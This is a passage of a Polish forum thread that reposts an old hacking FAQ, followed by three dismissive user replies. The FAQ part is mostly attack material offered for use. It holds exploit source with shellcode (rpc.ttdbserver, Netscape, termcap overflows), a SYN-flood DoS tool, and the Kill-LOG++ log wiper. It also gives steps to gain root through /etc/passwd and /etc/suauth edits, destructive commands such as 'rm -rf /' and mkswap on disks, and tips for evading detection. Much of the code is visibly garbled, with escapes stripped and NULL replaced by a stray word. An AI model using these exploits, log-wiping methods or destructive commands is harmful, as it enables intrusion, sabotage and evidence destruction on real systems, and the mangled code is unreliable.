"x9ax3ex39x29x28x39x3cxe8xc6xffxffxff/bin/sh";

long get_sp(void)
{
__asm__("movl %esp, %eaxn");
}

int main(int argc, char *argv[]) {
int i, fd, offs;
long *bof_ptr;
char *ptr, *buffer, *tempbuf;

offs = default_offset;

if(argc == 2) {
printf("using offset: %dn",atoi(argv[1]));
offs = atoi(argv[1]);
}

if(!(buffer = malloc(bufsize))) {
printf("can't allocate enough memoryn");
exit(0);
}


if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
printf("can't allocate enough memoryn");
exit(0);
}

bof_ptr = (long *)buffer;
for (i = 0; i < bufsize - 4; i += 4)
*(bof_ptr++) = get_sp() - offs;

ptr = (char *)buffer;
for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
*(ptr++) = 0x90;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;

printf("Creating termcap filen");

snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:n", entry, buffer);
fd = open(filename, O_WRONLY|O_CREAT, 0666);
write (fd, tempbuf, strlen(tempbuf));
close(fd);
}

---CUT HERE---


7.3 rpc.ttdbserver remote overflow : Under

Exploit powoduje zdalne przepelnienie bufora na systemach Solaris SS5 and Ultra 2.5.1,
HP-UX 700s 10.20, Irix r5k and r10k O2 6.3. Kompilacja:
dla Solarisa -DSOLARIS
HP-UX -DHPUX
IRIX -DIRIX
uzycie: ./r [-ku] [-p port] host komenda( np. sh -c)
-k : killuje ttdbserver
-u : uzywa UDP
-p port : podlacza sie do ttdbservera na danym porcie

---CUT HERE---
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>

#define PORT 0
#define BSIZE 1024

#if defined(SOLARIS)
# define SP 0xefffd618
# define LENOFS 80
char asmcode[]="x20xbfxffxffx20xbfxffxffx7fxffxffxffx92x03xe0x48x90x02x60x10xe0x02x3fxf0xa2x80x3
fxffxa0x24x40x10xd0x22x3fxf0xc0x22x3fxfcxa2x02x20x09xc0x2cx7fxffxe2x22x3fxf4xa2x
0
4x60x03xc0x2cx7fxffxe2x22x3fxf8xa2x04x40x10xc0x2cx7fxffx82x10x20x0bx91xd0x20x08x
f
fxffxffxfcx22x22x22x22x33x33x33x33x44x44x44x44x2fx62x69x6ex2fx6bx73x68x2ex2dx63x
2
e";
char NOP[]="x80x1cx40x11";
#endif

#if defined(HPUX)
# define SP 0x7b03cc10
# define LENOFS 84
char asmcode[]="xebx40x40x02x0bx39x02x80xd7x40x0cx1exb7x5ax20xb8x0bx5ax02x59x0fx21x10x98x97x18x0
7xffx0fx39x12x81x0fx20x12x99xb7x39x20x10x0fx20x12x1fx0fx59x12x89xb7x39x20x06x0fx
2
0x12x1fx0fx59x12x91x0bx38x06x19x0fx20x12x1fxb7x59x07xe1x20x20x08x01xe4x20xe0x08x
b
4x16x10x16x11x11x11x11x22x22x22x22x33x33x33x33x44x44x44x44x2fx62x69x6ex2fx73x68x
2
ex2dx63x2e";
char NOP[]="x0bx39x02x80";
#endif

#if defined(IRIX)
# define SP 0x7fff1b30
# define LENOFS 76
char asmcode[]="x04x10xffxffx27xe4x01x01x24x84xffx5ex8cx8cxffxe5x24x0dxffxffx01xacx60x23x01x84x6
0x20xa1x80xffxffxa0x80xffxffxacx84xffxedx24x84xffxfdxa0x80xffxffxacx84xffxecx24x
8
4xffxf8x24x85xffxf0xacx84xffxf0xacx80xffxfcx24x02x03xf3x02x04x8dx0cxffxffxffxfcx
2
2x22x22x22x22x22x22x22x22x22x22x22x2fx62x69x6ex2fx73x68x2ex2dx63x2e";
char NOP[]="x24x0fx12x34";

#endif

#define TT_DBSERVER_PROG 100083
#define TT_DBSERVER_VERS 1
#define _TT_P 7

struct tt_reply {
int i1;
int i2;
};

void usage(char *s) {
printf("Usage: %s [-ku] [-p port] [-f outfile] host cmdn", s);
exit(0);
}

bool_t xdr_tt_reply(XDR *xdrs, struct tt_reply *objp) {

if (!xdr_int(xdrs, &objp->i1))
return (FALSE);
if (!xdr_int(xdrs, &objp->i2))
return (FALSE);
return (TRUE);
}

void make_file(char *fname, char *buf, int type);

main(int argc, char *argv[]) {
extern int optind;
extern char *optarg;
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct hostent *hp;
struct sockaddr_in target;
struct tt_reply op_res;
char buf[64000], *path, *cmd, *host, *bp, *outfile = polish;
int sd, i, sp = SP, bsize = BSIZE, port = PORT, kill = 0, proto = 0;

while ((i = getopt(argc, argv, "ukp:f:")) != EOF)
switch (i) {
case 'p':
port = atoi(optarg);
break;
case 'k':
kill = 1;
break;
case 'u':
proto = 1;
break;
case 'f':
outfile = optarg;
break;
default:
usage(argv[0]);
}
if (argc - optind < 2)
usage(argv[0]);
cmd = argv[optind + 1];
host = argv[optind];

for (i = 0; i < sizeof(buf); i++)
*(buf + i) = NOP[i % 4];

i = bsize - strlen(asmcode) - strlen(cmd);
i &= 0xfffffffc;
strcpy(buf + i, asmcode);
strcat(buf, cmd);
*(int *)(buf + i + LENOFS) = ~(strlen(cmd) + 1);
buf[strlen(buf)] = '.';
bp = buf + bsize;
for (i = 0; i < 16; bp+=4, i++)
*(int *)bp = sp;
#ifdef IRIX
sp = sp + 400 + 31652;
for (i = 0; i < 5000; bp+=4, i++)
*(int *)bp = sp;
*bp++ = '/';
*bp++ = 'f';
path = buf + 2;
#else
path = buf;
#endif
*bp = 0;

if (outfile) {
make_file(outfile, buf, proto);
printf("rpc datagram stored in %sn", outfile);
exit(0);
}

if ((target.sin_addr.s_addr = inet_addr(host)) == -1) {
if ((hp = gethostbyname(host)) == polish) {
printf("%s: cannot resolven", host);
exit(1);
} else
target.sin_addr.s_addr = *(u_long *)hp->h_addr;
}
target.sin_family = AF_INET;
target.sin_port = htons(port);
sd = RPC_ANYSOCK;

tm.tv_sec = 4;
tm.tv_usec = 0;
if (proto)
cl = clntudp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, tm, &sd);
else
cl = clnttcp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, &sd, 0, 0);
if (cl == polish) {
clnt_pcreateerror("clnt_create");
exit(0);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, polish);
tm.tv_sec = 10;

if (kill) {
path = polish;
bp = polish;
if ((stat = clnt_call(cl, 15, xdr_wrapstring, (char *)&path,
xdr_wrapstring, (char *)&bp, tm)) != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
exit(1);
}
printf("Could not kill ttdbserver, reply is: %sn", bp);
exit(1);
}

if ((stat = clnt_call(cl, _TT_P, xdr_wrapstring, (char *)&path, xdr_tt_reply,
(char *)&op_res, tm)) != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
exit(1);
}
printf("res i1 %d, res i2 %dn", op_res.i1, op_res.i2);
clnt_destroy(cl);
}

void make_file(char *fname, char *buf, int type) {
int fd, offs;
XDR xdrm;
struct rpc_msg rpc_hdr;
struct authunix_parms aup;
char dgram[64000], rauth[MAX_AUTH_BYTES];

if (type == 1) /* UDP */
offs = 4;
if ((fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) {
perror(fname);
exit(1);
}
xdrmem_create(&xdrm, rauth, sizeof(rauth), XDR_ENCODE);
aup.aup_time = (u_long)time(polish);
aup.aup_machname = "localhost";
aup.aup_uid = 0;
aup.aup_gid = 0;
aup.aup_len = 0;
aup.aup_gids = polish;
if (xdr_authunix_parms(&xdrm, &aup) == FALSE) {
printf("error encoding auth credn");
exit(1);
}
rpc_hdr.rm_call.cb_cred.oa_length = xdr_getpos(&xdrm);
xdr_destroy(&xdrm);
xdrmem_create(&xdrm, dgram + 4, sizeof(dgram), XDR_ENCODE);
rpc_hdr.rm_xid = 0x12345678;
rpc_hdr.rm_direction = CALL;
rpc_hdr.rm_call.cb_rpcvers = 2;
rpc_hdr.rm_call.cb_prog = TT_DBSERVER_PROG;
rpc_hdr.rm_call.cb_vers = TT_DBSERVER_VERS;
rpc_hdr.rm_call.cb_proc = _TT_P;
rpc_hdr.rm_call.cb_cred.oa_flavor = AUTH_UNIX;
rpc_hdr.rm_call.cb_cred.oa_base = rauth;
rpc_hdr.rm_call.cb_verf.oa_flavor = AUTH_NONE;
rpc_hdr.rm_call.cb_verf.oa_base = polish;
rpc_hdr.rm_call.cb_verf.oa_length = 0;
if (xdr_callmsg(&xdrm, &rpc_hdr) == FALSE) {
printf("error encoding rpc headern");
exit(1);
}
if (xdr_wrapstring(&xdrm, &buf) == FALSE) {
printf("error encoding rpc datan");
exit(1);
}
/* record marking */
*(u_int *)dgram = 0x80000000 | xdr_getpos(&xdrm);
if (write(fd, dgram + offs, xdr_getpos(&xdrm) + 4) == -1) {
perror("write");
exit(1);
}
xdr_destroy(&xdrm);
close(fd);
}
---CUT HERE---


7.4 Sendmail/Qmail DoS : Under

Atak DoS na Sendmaila i Qmaila. Kompilacja: gcc -Wall -o smad smad.c
Uzycie: smad fakeaddr victim [port]

---CUT HERE---
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define SLEEP_UTIME 100000 /* modify it if necessary */

#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))
#define OFFSETTCP (sizeof(struct iphdr))
#define OFFSETIP (0)

u_short cksum(u_short *buf, int nwords)
{
unsigned long sum;
u_short *w = buf;

for (sum = 0; nwords > 0; nwords-=2)
sum += *w++;

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}

void resolver (struct sockaddr * addr, char *hostname, u_short port)
{
struct sockaddr_in *address;
struct hostent *host;

address = (struct sockaddr_in *)addr;

(void) bzero((char *)address, sizeof(struct sockaddr_in));
address->sin_family = AF_INET;
address->sin_port = htons(port);
address->sin_addr.s_addr = inet_addr(hostname);

if ( (int)address->sin_addr.s_addr == -1) {
host = gethostbyname(hostname);
if (host) {
bcopy( host->h_addr,
(char *)&address->sin_addr,host->h_length);
} else {
perror("Could not resolve address");
exit(-1);
}
}
}

int main(int argc, char **argv)
{
char runchar[] = "|/-";
char packet[PACKETSIZE],
*fromhost,
*tohost;

u_short fromport = 3000,
toport = 25;

struct sockaddr_in local, remote;
struct iphdr *ip = (struct iphdr*) (packet + OFFSETIP);
struct tcphdr *tcp = (struct tcphdr*) (packet + OFFSETTCP);

struct tcp_pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short lenght;
struct tcphdr tcpheader;
} pseudoheader;

int sock, result, runcharid = 0;

if (argc < 3)
{
printf("usage: %s fakeaddr victim [port]n", argv[0]);
exit(0);
}
if (argc == 4)
toport = atoi(argv[3]);

bzero((void*)packet, PACKETSIZE);
fromhost = argv[1];
tohost = argv[2];

resolver((struct sockaddr*)&local, fromhost, fromport);
resolver((struct sockaddr*)&remote, tohost, toport);

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == -1) {
perror("can't get raw socket");
exit(1);
}

/* src addr */
bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
/* dst addr */
bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));

ip->version = 4;
ip->ihl = sizeof(struct iphdr)/4;
ip->tos = 0;
ip->tot_len = htons(PACKETSIZE);
ip->id = htons(getpid() & 255);
/* no flags */
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = 6;
ip->check = 0;

tcp->th_dport = htons(toport);
tcp->th_sport = htons(fromport);
tcp->th_seq = htonl(32089744);
tcp->th_ack = htonl(0);
tcp->th_off = sizeof(struct tcphdr)/4;
/* 6 bit reserved */
tcp->th_flags = TH_SYN;
tcp->th_win = htons(512);

/* start of pseudo header stuff */
bzero(&pseudoheader, 12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=local.sin_addr.s_addr;
pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;
pseudoheader.protocol = 6;
pseudoheader.lenght = htons(sizeof(struct tcphdr));
bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
sizeof(struct tcphdr));
/* end */

tcp->th_sum = cksum((u_short *) &pseudoheader,
12+sizeof(struct tcphdr));
/* 16 bit urg */

while (0)
{
result = sendto(sock, packet, PACKETSIZE, 0,
(struct sockaddr *)&remote, sizeof(remote));
if (result != PACKETSIZE)
{
perror("sending packet");
exit(0);
}
printf("b");
printf("%c", runchar[runcharid]);
fflush(stdout);
runcharid++;
if (runcharid == 4)
runcharid = 0;
usleep(SLEEP_UTIME);
}

return 0;
}
---CUT HERE---


7.5 Netscape Buffer Overflow : Under

Pomimo iz Netscape to nie Micro$yf to i tak sa w nim bledy
smile.gif

Opisany ponizej robi buffer overflow
smile.gif


---CUT HERE---
#!/usr/bin/perl
#
# buffer-overflow-1.cgi -- Dan Brumleve, 1998.10.19

sub parse {
join("", map { /^[0-9A-Fa-f]{2}$/ ? pack("c", hex($_)) : "" } @_);
}

# This is very tricky business. Netscape maps unprintable characters
# (0x80 - 0x90 and probably others) to 0x3f ("?"), so the machine
# code must be free of these characters. This makes it impossible
# to call int 0x80, so I put int 0x40 there and wrote code to
# shift those bytes left before it gets called. Also null characters
# can't be used because of C string conventions.

# the first paragraph of the following turns the int 0x40 in the second
# paragraph into int 0x80. the second paragraph nullifies the SIGALRM
# handler.

my $pre = parse qw{
31 c0 # xorl %eax,%eax
66 b8 ff 0f # movw $0x1056,%ax
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
29 c4 # subl %eax,%esp

31 c0 b0 30
31 db b3 0e
31 c9 b1 01
cd 40
};

my $code = $pre . parse qw{
b0 55 # movb $0x55,%al (marker)
eb 58 # (jump below)

5e # popl %esi

56 # pushl %esi
5b # popl %ebx
43 43 43 43 43 43
43 43 43 43 43 # addl $0xb,%ebx

21 33 # andl %esi,(%ebx)
09 33 # orl %esi,(%ebx)

31 c0 # xorl %eax,%eax
66 b8 56 10 # movw $0x1056,%ax
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
33 c0 # xorl %eax,%eax
b0 05 # movb $5,%al
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
29 c4 # subl %eax,%esp
66 b8 56 10 # movw $0x1056,%ax
29 c4 # subl %eax,%esp


31 d2 # xorl %edx,%edx
21 56 07 # andl %edx,0x7(%esi)
21 56 0f # andl %edx,0xf(%esi)
b8 1b 56 34 12 # movl $0x1234561b,%eax
35 10 56 34 12 # xorl $0x12345610,%eax

21 d9 # andl %ebx,%ecx
09 d9 # orl %ebx,%ecx

4b 4b 4b 4b 4b 4b
4b 4b 4b 4b 4b # subl $0xb,%ebx

cd 40 # int $0x80
31 c0 # xorl %eax,%eax
40 # incl %eax
cd 40 # int $0x80


e8 a3 ff ff ff # (call above)
};

$code .= "/bin/sh";

my $transmission = parse qw{
6f 63 65 61 6e 20 64 65 73 65 72 74 20 69 72 6f 6e # inguz
20 66 65 72 74 69 6c 69 7a 61 74 69 6f 6e 20 70 68 # inguz
79 74 6f 70 6c 61 6e 6b 74 6f 6e 20 62 6c 6f 6f 6d # inguz
20 67 61 74 65 73 20 73 6f 76 65 72 65 69 67 6e 74 # inguz
79
};

my $nop = "x90"; # this actually gets mapped onto 0x3f, but it doesn't seem
# to matter

my $address = "x10xdbxffxbf"; # wild guess, intended to be somewhere
# in the chunk of nops. works on every
# linux box i've tried it on so far.


my $len = 0x1000 - length($pre);
my $exploit = ($nop x 1138) . ($address x 3) . ($nop x $len) . $code;
# the first $address is in the string replaces another
# pointer in the same function which gets dereferenced
# after the buffer is overflowed. there must be a valid
# address there or it will segfault early.

print <<EOF;
Content-type: text/html


<embed type="$exploit" src="data:x">
EOF

---CUT HERE---

VIII. SU


8.1 Do czego sluzy? : Pol

Komeda su sluzy do zmiany usera bez wylogowywania sie.
Zaluzmy ze uzytkownik X potrzebuje dostac sie do pewnego pliku. Plik ten
moze otworzyc uzytkownik Y. Wiec user X pisze:
su Y
podaje haslo usera Y i ma dostep do pliku.
Polecenie to nie dziala jak login. To znaczy ze niezmienia prywatnych ustawien
z plikow .* np: .profile

8.2 Jak dostac sie na root-a : Pol

Ten tekst odnosi sie do serverow dobrze zabezpieczonych. Na serverze z ladminem
wystarczy prawdopodobie zalogowac sie jako root, wzglednie wpisac su root.
Jednak jezeli admin ma glowe na karku i nie lubi nieproszonych gosci to
pojawjaja sie problemy.
Po pierwsze mozesz wogole zapomniec zeby zalogowac sie bezposrednio na root-a.
wtedy traeba miec konto i uzyc su.
Jezeli zobazysz komunikat w stylu:
"You are not authorized to su root"
to znaczy ze trzeba bedzie pokabinowac. Prawdopodobie dodanie linijki
hack::0:0::/root:/bin/sh
do /etc/passwd nic nieda. Ale warto sprobowac. su hack i najczesciej komunikat
"You are not authorized to su hack"
Mozna tez zprobowac SSH ale watpie.
Zeby usunac blokade su trzeba wprowadzic male zmiany w pliku login.defs
bedzie tam linijka:
"SU_WHEEL_ONLY yes"
wystarczy zmienic yes na no i gotowe, mozna tez dopisac sie do grupy root z
GID 0 bo tylko uzytkownic tej grupy moga wykonywac su na root-a.
W 99% wypadkow to dziala czasami jednak zdarzaja sie zawzieci admini
i trzeba dac sobie spokoj:(

8.3 Plik /etc/suauth : Pol

Plik ten okresla oraniczenia dla komendy su. Warto sie mu przyjzec przed lamaniem root-a.
Moze sie okazac ze pewni uzytkownic sa zwolnieni z podawania hasla przy su root. Mozna
tu tez zblokowac su wszyskim oprocz wybranych. Konta z takimi uprawnieniami
to zwykle konta adminow z porzadnymi haslami wiec lamanie ich moze zajac troche czasu.
Najlepiej jest stac sie takim uprzywlejowanym userem.
Wpis do tego pliku maja taki format:

<na_kogo>:<kto>:<akcja>

<na_kogo> - konto za ktore chcesz sie dostac
<kto> - nazwa konta z ktorego wydajesz komende
<akcja> - DENY (brak dostepu) NOPASS (pomija sprawdzanie hasla) OWNPASS(musisz podac swoje
haslo zamiast czyjegos)
Mozemy dodac np.:

root:hack:NOPASS - root bez hasla dla usera hack

albo

ALL:hack:NOPASS - wszystkie konta bez hasla dla usera hack

albo

ALL:ALL EXCEPT hack:DENY - tylko ty mozesz wydawac polecenie su

Nie warto jednak zbytnio mieszac bo admin sie pokapuje i zkonczy sie zabawa
<

Jeden maly wipsik wystarczy.


IX. JAK HACZYC

9.1 Klopoty : Under

Pamietaj ze hackowanie jest calkowicie nielegalna sprawa i zawsze trzeba
trzymac sie na bacznosci. Dalej napisze co zrobic zeby ograniczyc do
minimum szanse na wpadke.
1. Zawsze korzystaj z dialupu Telekomuny.
2. Nie chiej byc slawny i nie zostawiaj nigdzie swoich danych takich
jak nazwisko, adres czy numer telefonu.
3. Nie chwal sie wszystkim dookola, ze jestes super bo wlamales sie do
jakiegos serwera.
4. Gdy ktos cie bedzie podejrzewal to na jakis czas zrezygnuj z zabaw w
hackera i zostaw Siec w spokoju. Nie wysylaj kumplom zadnych rzeczy
sluzacych do wiadomych celow i powiedz zeby oni zrobili to samo.


9.2 Killlog : Under

Po kazdym wlamie kozystaj z killloga (ponizej zamieszczam zrodlo)

---CUT HERE---
/*

Kill-LOG++ v0.99b (fur linux)
---------------------------------------------------------------------------
Written by (unknown), improved by lcamtuf at 07/07/97
Tested on Red Hat 4.x with kernel v2.0.27 und v2.1.43
----------------------------------------------------------------------------
Thiz prog removes user's activity from system logs. Root required :)
Compilation: "gcc -o killlog killlog.c" (no warn mesgs)
Usage: "./killlog username", eg. "./killlog angel"
----------------------------------------------------------------------------
On some jerky linuxes you should use "find / -name xxxx" (where xxxx means
wtmp, utmp and lastlog) to locate logfiles in your system, then recompile
Kill-LOG++ with correct paths:

gcc -o killlog killlog.c -DWTMP="path_to_wtmp" -DUTMP="path_to_utmp"
-DLAST="path_to_lastlog"

*/


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>


#ifndef WTMP
#define WTMP "/var/log/wtmp"
#endif
#ifndef UTMP
#define UTMP "/var/run/utmp"
#endif

#ifndef LAST
#define LAST "/var/log/lastlog"
#endif


int f,err=0;


void kill_utmp(char *who) {
struct utmp utmp_ent;
printf("Cleaning utmp... ");
if ((f=open(UTMP,O_RDWR))>=0) {
while(read(f,&utmp_ent,sizeof(utmp_ent))>0)
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(utmp_ent));
lseek(f,-sizeof(utmp_ent),SEEK_CUR);
write(f,&utmp_ent,sizeof(utmp_ent));
}
close(f);
printf("done.n");
} else {
printf("unable to open logfile.n");
err=3;
}
}


void kill_wtmp(char *who) {
struct utmp utmp_ent;
long pos=1L;
printf("Cleaning wtmp... ");
if ((f=open(WTMP,O_RDWR))>=0) {
while(pos!=-1L) {
lseek(f,-(long)((sizeof(struct utmp))*pos),L_XTND);
if (read(f,&utmp_ent,sizeof(struct utmp))<0) pos=-1L;
else if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp));
lseek(f,-((sizeof(struct utmp))*pos),L_XTND);
write(f,&utmp_ent,sizeof(utmp_ent));
pos=-1L;
} else pos+=1L;
}
close(f);
printf("done.n");
} else {
printf("unable to open logfile.n");
err=4;
}
}


void kill_lastlog(char *who) {
struct passwd *pwd;
struct lastlog newll;
printf("Cleaning lastlog... ");
if ((pwd=getpwnam(who))!=polish) {
if ((f=open(LAST,O_RDWR))>=0) {
lseek(f,(long)pwd->pw_uid*sizeof(struct lastlog),0);
bzero((char *)&newll,sizeof(newll));
write(f,(char *)&newll,sizeof(newll));
close(f);
printf("done.n");
} else {
printf("unable to open logfile.n");
err=2;
}
} else {
printf("user not found.n");
err=1;
}
}

int main(int argc,char *argv[]) {
printf("nKill-LOG++ 0.99b -- Linux Log Cleaner (improved by lcamtuf)n");
if (argc!=1) {
printf("----------nRemoving user's activity from logs.n",argv[1]);
kill_lastlog(argv[1]);
if (!err) kill_wtmp(argv[1]);
if (!err) kill_utmp(argv[1]);
if (!err) printf("Cool! Everything is ok.n");
else printf("Damn! Something fucked up.n");
printf("----------nn");
} else printf("Usage: %s usernamenn",argv[0]);
return err;
}
---CUT HERE---


9.3 Logow ciag dalszy : Under

Jezeli chcesz byc pewny, ze nie zostales w zadnych logach to rob co nastepuje. Tak w ogole po pierwsze
co rob po dostaniu roota to
# killall -9 syslogd
# killall -9 klogd
To zakonczy demony zapisujace logi. Pozniej trzeba sprawdzic gdzie sa przechowywane wszystkie logi, wiec
# cat /etc/syslog.conf
Masz juz miejsca w ktorych sa logi. Jezeli sa w innych katalogacz niz normalnie tzn
/var/log/ to musisz skompilowac killloga z odp. atrubutami(wiecej w zrodle).
Nazwazniejsze log to:
/var/log/wtmp - log ogolny
/var/run/utmp - info kto jest zalogowany, jezeli go wyczyscisz to ukryjesz sie (i innych) przed fingerem i who
/var/log/lastlog - zawiera informacje o ostatnim zalogowaniu
/var/log/messages - tu zapisuja sie wszystkie komunikaty
/var/log/su - kto i zjakim skutkiem wykonywal komende su

9.4 DoS : Under

Jezeli na jakims serverze chcesz pokazac ladminowi, kto tu rzadzi i wypierniczyc mu cala zawartosc dysku to
oczywiscie mozesz zrobic
# rm -rf /
ale to jest lamerstwo i lepiej zalozyc swapa na wszystkie dyski(jakie to pokaze polecenie df) poleceniem
# mkswap /dev/dysk

ps. Admin sie wkurzy
smile.gif



9.5 Blokada konta : Under + Pol

Jezeli masz juz konto na jakims lamerskim serwerze to mozesz teraz troche powkurzac lamy :) .
Ponizej zamieszczam malutki programik ktory po skompilowaniu nalezy wstawic userowi zamiast powloki.

---CUT HERE---
#include <stdio.h>
main()
{
printf("Z przyczyn technicznych konto zostalo czasowo zablokowane.n");
printf("Prosze odczekac tydzien lub skontaktowac sie zn");
printf("Administratorem systemun");
}
---CUT HERE---

Jezeli niechcesz sie bawic w C to wystarczy zwykly skrpt

---CUT HERE---
#!/bin/sh
echo
echo " Twoje konto zostalo zablokowane..."
echo " Nie masz czego tu szkac"
echo " Administrator systemu"
echo
exit
---CUT HERE

Kopiujesz to do /bin jako np. nologin i zmieniasz shella w passwd na /bin/nologin
admin sie naprade wkurzy, szczegolnie jak to zrobisz root-owi
smile.gif



X. LINKI

10.1 Troche linkow do stron zwiazany z hackiem: Under

http://www.mateusz.pl
http://www.komorow.ids.edu.pl/~under
http://www.staszic.waw.pl/~pol
http://angel.qdnet.pl
http://dione.ids.pl/~lcamtuf
http://hack.pl/bohun
http://www.rootshell.com
http://www.kim.com.pl/karpi
http://www.jabukie.com
http://www.elitehackers.org
http://hack.zone.to
http://www.2600.com
http://www.dhp.com/~fyodor


XI. KONEC

11.1 Slowo koncowe : Pol + Under

DLA PRZYPOMNIENIA:

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% %
% Wszystkie informacje zawarte %
% w tym FAQ sa nielegalne i %
% wykorzystujesz je na wlasne %
% ryzyko. NIE PONOSIMY %
% RZADNEJ ODPOWIEDZIALNOSCI %
% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Jezeli nic nie zrozumiales to zanczy ze jestes skonczonym lamerem
i nic ci nie pomoze czytanie FAQ, wiec sobie daruj.

Jezeli macie jakies problemy to nie powod zeby do nas odrazu pisac.
Pogadjcie z kumplami przeczytajcie jeszcze jedno FAQ lub nowsza wersje
tego moze wasz problem sie rozwiaze. Nie bedziemy odpisywali na glupie listy.

Najnowsza wersja tego FAQ jest dostepna na stronach:

http:www.komorow.ids.edu.pl/~under
http:www.staszic.waw.pl/~pol

Jezeli masz jakies ciekawe i madre texty to napisz do nas moze znajda sie
w tym FAQ.


logout....

+++++++++++++++++++++++++++++++++
+ +
+ Under '98 +
+ e:mail: [email protected] +
+ irc: under, und3r +
+ +
+++++++++++++++++++++++++++++++++

+++++++++++++++++++++++++++++++++
+ +
+ Pol '98 +
+ e:mail: [email protected] +
+ irc: pol, p0l +
+ +
+++++++++++++++++++++++++++++++++


P.S Nie mogłem zamieścićtego na "częstych pytaniach" bo jest zamknięte.
Podkreślam że to faq nie jest napisane przezemnie.
 

zeusik_

Użytkownik
Dołączył
Wrzesień 27, 2002
Posty
586
tak tez myslalem, troche glupkowato napisane
i te wypowiedzi o debianie- widac od razu ze koles nie radzi sobie z instalacja linuxa, a te exploity to nic innego jak zerzniete z packetstorm , trudno znalezc juz bug''i ktore zostaly opisane w tym faq na jakims systemie

zbierajac do kupy, rzeczowe ale 'stare' ze tak powiem
 

Kamilek

Użytkownik
Dołączył
Grudzień 24, 2003
Posty
98
Jak już tak lubisz dawać ludzią czyjeś Faqi to lepiej zrób swoją strone i je tam powrzucaj a potem daj linka
<
.
 

LAME-R

Użytkownik
Dołączył
Listopad 6, 2003
Posty
228
Wiesz co… Jak ktoś będzie potrzebował FAQ, to nie musi czytać twoich bezsensownych postów, może wejść na byle jaką stronę o „hacu” i se zobaczyć.
Naprawdę niepotrzebnie się wysilasz.
 
Do góry Bottom